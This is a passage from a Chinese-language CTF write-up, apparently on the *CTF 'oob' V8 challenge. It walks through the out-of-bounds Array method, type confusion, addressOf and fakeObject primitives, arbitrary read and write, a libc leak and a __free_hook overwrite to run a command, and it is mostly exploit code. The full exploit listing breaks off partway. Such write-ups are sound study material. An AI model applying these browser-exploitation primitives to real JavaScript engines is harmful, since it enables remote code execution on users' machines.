ReadOnlyRoots(isolate).undefined_value();+    &#125;+&#125;...<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到，diff 文件给 Array 数组对象增加了一个 oob 方法，参数个数为 1 和 2 的情况做了不同的处理，参数个数为 1 时，即调用方法无参数的时候（因为对象 this 指针是第一个参数），将 <code>elements[length]</code> 的值返回 ，参数个数为 2 时，即调用方法有一个参数时，将调用方法传递的参数值写入  <code>elements[length]</code></p><p>所以 oob 存在一个<strong>越界读写</strong>数组的漏洞</p><h3 id="类型混淆"><a href="#类型混淆" class="headerlink" title="类型混淆"></a>类型混淆</h3><p>再次回到前面的一张图片<br><img src="/images/3b546c3b/pasted-10.png" alt="layout"></p><p>对象 <code>c</code> 的 elements 指针指向的地址为 <code>0x36563a38de11</code>，而对象 <code>c</code> 的地址为 <code>0x36563a38de31</code>，且对象开头就是 map，所以 map 在 elements 指针指向区域的后面，如果越界读写 elements，就有可能修改 map，造成类型混淆</p><p>参考下面代码，进行一个调试，查看不同类型的数组对象的内存布局</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arr1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> arr3 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>arr1<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>arr3<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>来到第一处断点，可以看到整数数组对象的 map 变量就在 elements 指向的区域后面，但是 oob 方法只能越界一个元素的位置，这里明显不够<br><img src="/images/3b546c3b/pasted-12.png" alt="starctf1"></p><p>继续运行，来到第二处断点，查看 arr2 即浮点数类型数组对象的内存布局，elements 区域紧接着就是 map，刚好可以修改数组对象的 map 造成类型混淆<br><img src="/images/3b546c3b/pasted-13.png" alt="starctf2"></p><p>我们可以用浮点数类型的数组对象来利用漏洞造成类型混淆，这里先不急，继续运行来到最后一处断点<br><img src="/images/3b546c3b/pasted-14.png" alt="starctf3"></p><p>可以看到，使用 <code>new</code> 的方式创建的数组，elements 位于 map 的后面，无法用于利用漏洞，其它情况的数组对象的内存布局可以多做尝试，这里就不再深究了</p><p>如果将一个 Float 类型的数组的 map 修改为对象数组类型，那么数组里的浮点数数值就被当成对象地址去解析，反之也可以将任意对象地址解析成浮点数，通过一定转换就可以获取对象的地址了</p><p>这里分别写出完成上面两个功能的函数：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"a"</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> obj_array <span class="token operator">=</span> <span class="token punctuation">[</span>obj<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// leak map</span><span class="token keyword">var</span> obj_array_map <span class="token operator">=</span> obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array_map <span class="token operator">=</span> float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//leak address of obj</span><span class="token comment">//obj_to_leak: Object</span><span class="token comment">//return: integer</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj_to_leak</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj_to_leak<span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//类型混淆</span><span class="token keyword">let</span> obj_addr <span class="token operator">=</span> obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//恢复类型</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake object</span><span class="token comment">//addr_to_fake: interger</span><span class="token keyword">function</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span><span class="token parameter">addr_to_fake</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr_to_fake<span class="token punctuation">)</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> faked_obj <span class="token operator">=</span> float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> faked_obj<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中 <code>addressOf</code> 函数可以获取任意对象的地址，<code>fakeObject</code> 可以将任意地址伪造成一个 Float 类型的数组对象</p><p>由于 <code>addressOf</code> 是将对象的地址解析成浮点数，不太方便后续运算，这里使用一个自定义的 <code>f2i</code> 函数将其解析成整数，同理 <code>i2f</code> 函数将整数的内存表示解析成浮点数，代码如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> bigUint64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//float to integer</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">;</span><span class="token keyword">return</span> bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//integer to float</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>bigUint64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span><span class="token keyword">return</span> float64<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里可以测试一下代码：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> test_obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"aa"</span><span class="token operator">:</span> <span class="token string">"aaa"</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>test_obj<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'addr = '</span> <span class="token operator">+</span> addr<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>test_obj<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调试运行，可以看到 <code>addressOf</code> 函数成功的得到了 <code>test_obj</code> 对象的地址<br><img src="/images/3b546c3b/pasted-15.png" alt="starctf4"></p><h3 id="任意地址读写"><a href="#任意地址读写" class="headerlink" title="任意地址读写"></a>任意地址读写</h3><p>结合 <code>addresssOf</code> 和 <code>fakeObject</code>，可以伪造一个数组对象，控制 elements 指针即可造成任意地址读写，这里画一个伪造的对象的图<br><img src="/images/3b546c3b/pasted-16.png" alt="fakeObject"></p><p>这个伪造的对象的数据可以存在一个 Float 数组里，通过 <code>addressOf</code> 函数，得到数据的存储地址，利用 <code>fakeObject</code> 将该地址转换成数组对象指针，通过这个伪造的数组对象即可造成任意读写，代码如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//create fake array obj</span><span class="token keyword">var</span> fake_array <span class="token operator">=</span> <span class="token punctuation">[</span>    float_array_map<span class="token punctuation">,</span> <span class="token comment">//map</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x41414141n</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">//elements</span>    <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token number">0x1000000000n</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">//length</span>    <span class="token number">1.1</span><span class="token punctuation">,</span>    <span class="token number">2.2</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> fake_obj_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>fake_array<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x40n</span> <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'fake_obj_addr = '</span> <span class="token operator">+</span> fake_obj_addr<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">var</span> fake_obj <span class="token operator">=</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span>fake_obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>fake_array<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>显示创建了一个数组 <code>fake_array</code>，用于伪造数组对象，再通过 <code>addressOf(fake_array) - 0x40n + 0x10n;</code> 获得伪造对象的地址，由于 Float 数组的 elements 指针指向的地方刚好紧挨在 <code>fake_array</code> 的 map 前面，即 <code>fake_array</code> 地址之前，数组6个元素占用 0x30 的大小，加上 elements 的 map 和 length 字段又占用 0x10 的大小，则 <code>addressOf(fake_array) - 0x40n</code> 就是 elements 指针指向的地方，那么 <code>addressOf(fake_array) - 0x40n + 0x10n;</code> 就是存储 6 个元素的起始地址</p><p>调试一下，可以发现 <code>fake_obj_addr</code> 计算正确<br><img src="/images/3b546c3b/pasted-17.png" alt="starctf5"><br><img src="/images/3b546c3b/pasted-18.png" alt="starctf6"></p><p>此时只需要通过<code>fake_array[2] = target_addr - 0x10n</code> 更改 <code>fake_obj</code> 的 elements 指针，然后使用 <code>fake_obj[0] = value</code>，即可对地址 <code>target_addr</code> 写入 <code>value</code> 值，同理可以任意读，代码如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token function">f2i</span><span class="token punctuation">(</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> i</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>fake_array<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr <span class="token operator">-</span> <span class="token number">0x10n</span> <span class="token operator">+</span> <span class="token number">0x1n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>fake_obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>关掉地址随机化，尝试下面代码，来泄露 <code>__libc_start_main</code> 的地址</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> leak_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token number">0x555555554000n</span><span class="token operator">+</span><span class="token number">0x0000012a47b0n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'leak_addr = '</span> <span class="token operator">+</span> leak_addr<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>可以看到任意读是没有问题的：<br><img src="/images/3b546c3b/pasted-20.png" alt="starctf7"><br><img src="/images/3b546c3b/pasted-21.png" alt="starctf8"></p><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>有了任意读写，控制程序执行流的方式还是很多的，下面就分为传统方式和非传统方式来利用</p><h4 id="传统方式"><a href="#传统方式" class="headerlink" title="传统方式"></a>传统方式</h4><p>传统方式中，可以泄露 libc 地址，修改 <code>__free_hook</code> 为 system，或者用 one_gadget 的方式，无论哪种方式，泄露 libc 地址都是首要的任务</p><p>泄露的方式了解到有两种，一种是从一个 v8 对象的地址开始，内存搜索附近的内容，查看有无程序二进制空间的地址，计算得出程序及地址，之后通过基地址加偏移得到 got 表的地址，泄露 got 表项即可泄露 libc 地址，但是这种方式不太稳定，万一遇到内存不可读程序就中止了，所以这里学习另一种稳定的泄露方式</p><p>调试观察下面代码：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>查看对象 <code>a</code> 的结构<br><img src="/images/3b546c3b/pasted-22.png" alt="pwn1_1"></p><p>再查看其 map 类型的结构<br><img src="/images/3b546c3b/pasted-23.png" alt="pwn1_2"></p><p>查看 map 的 constructor 结构<br><img src="/images/3b546c3b/pasted-24.png" alt="pwn1_3"></p><p>在 code 的固定偏移处有程序二进制空间的地址，<br><img src="/images/3b546c3b/pasted-25.png" alt="pwn1_4"><br><img src="/images/3b546c3b/pasted-26.png" alt="pwn1_5"></p><p>下面代码即可泄露出程序基地址：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> code_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>a<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x30n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'code_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>code_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> v8_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>code_addr <span class="token operator">+</span> <span class="token number">0x42n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> v8_base <span class="token operator">=</span> v8_addr <span class="token operator">-</span> <span class="token number">0x94f780n</span> <span class="token operator">-</span> <span class="token number">0x679000n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'v8_base = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>v8_base<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后泄露 libc 地址，改 <code>__free_hook</code> 为 system 一把梭</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> free_got_addr <span class="token operator">=</span> v8_base <span class="token operator">+</span> <span class="token number">0x12aa8b8n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'free_got = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>free_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> free_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>free_got_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'free = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>free_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> lbase <span class="token operator">=</span> free_addr <span class="token operator">-</span> <span class="token number">0x9d850n</span><span class="token punctuation">;</span><span class="token keyword">var</span> free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x1eeb28n</span><span class="token punctuation">;</span><span class="token keyword">var</span> system <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x55410n</span><span class="token punctuation">;</span><span class="token function">write64</span><span class="token punctuation">(</span>free_hook<span class="token punctuation">,</span> system<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">function</span> <span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> cmd <span class="token operator">=</span> <span class="token string">"gnome-calculator\x00"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但是这样会出现一个段错误，这是 <code>write64</code> FloatArray 对浮点数的处理方式造成的，当值以 0x7f 开头等高处的地址都会出现这种问题，参考的文章使用了 DataView 来改写任意写的方式来解决了这个问题</p><p>DataView 对象偏移 <code>+0x20</code> 处，存有一个 backing_store 指针，该指针指向真正存储数据的地址，改写这个指针即可任意读写，而且不会发生 FloatArray 出现的问题，代码如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> buf_backing_store_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span> <span class="token operator">+</span> <span class="token number">0x20n</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">write64_view</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token function">write64</span><span class="token punctuation">(</span>buf_backing_store_addr<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最后使用 <code>write64_view</code> 代替 <code>write64</code> 即可</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">write64_view</span><span class="token punctuation">(</span>free_hook<span class="token punctuation">,</span> system<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">function</span> <span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> cmd <span class="token operator">=</span> <span class="token string">"gnome-calculator\x00"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">pwn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">write64_view</span><span class="token punctuation">(</span>free_hook<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 恢复 __free_hook 使得程序正常退出</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>完整 exp 如下：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">"a"</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> obj_array <span class="token operator">=</span> <span class="token punctuation">[</span>obj<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// leak map</span><span class="token keyword">var</span> obj_array_map <span class="token operator">=</span> obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float_array_map <span class="token operator">=</span> float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//leak address of obj</span><span class="token comment">//obj_to_leak: Object</span><span class="token comment">//return: integer</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj_to_leak</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> obj_to_leak<span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//类型混淆</span><span class="token keyword">let</span> obj_addr <span class="token operator">=</span> obj_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>obj_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//恢复类型</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>obj_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">//create fake object</span><span class="token comment">//addr_to_fake: interger</span><span class="token keyword">function</span> <span class="token function">fakeObject</span><span class="token punctuation">(</span><span class="token parameter">addr_to_fake</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr_to_fake<span class="token punctuation">)</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>obj_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> faked_obj <span class="token operator">=</span> float_array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>float_array<span class="token punctuation">.</span><span class="token function">oob</span><span class="token punctuation">(</span>float_array_map<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> faked_obj<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> float64 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token 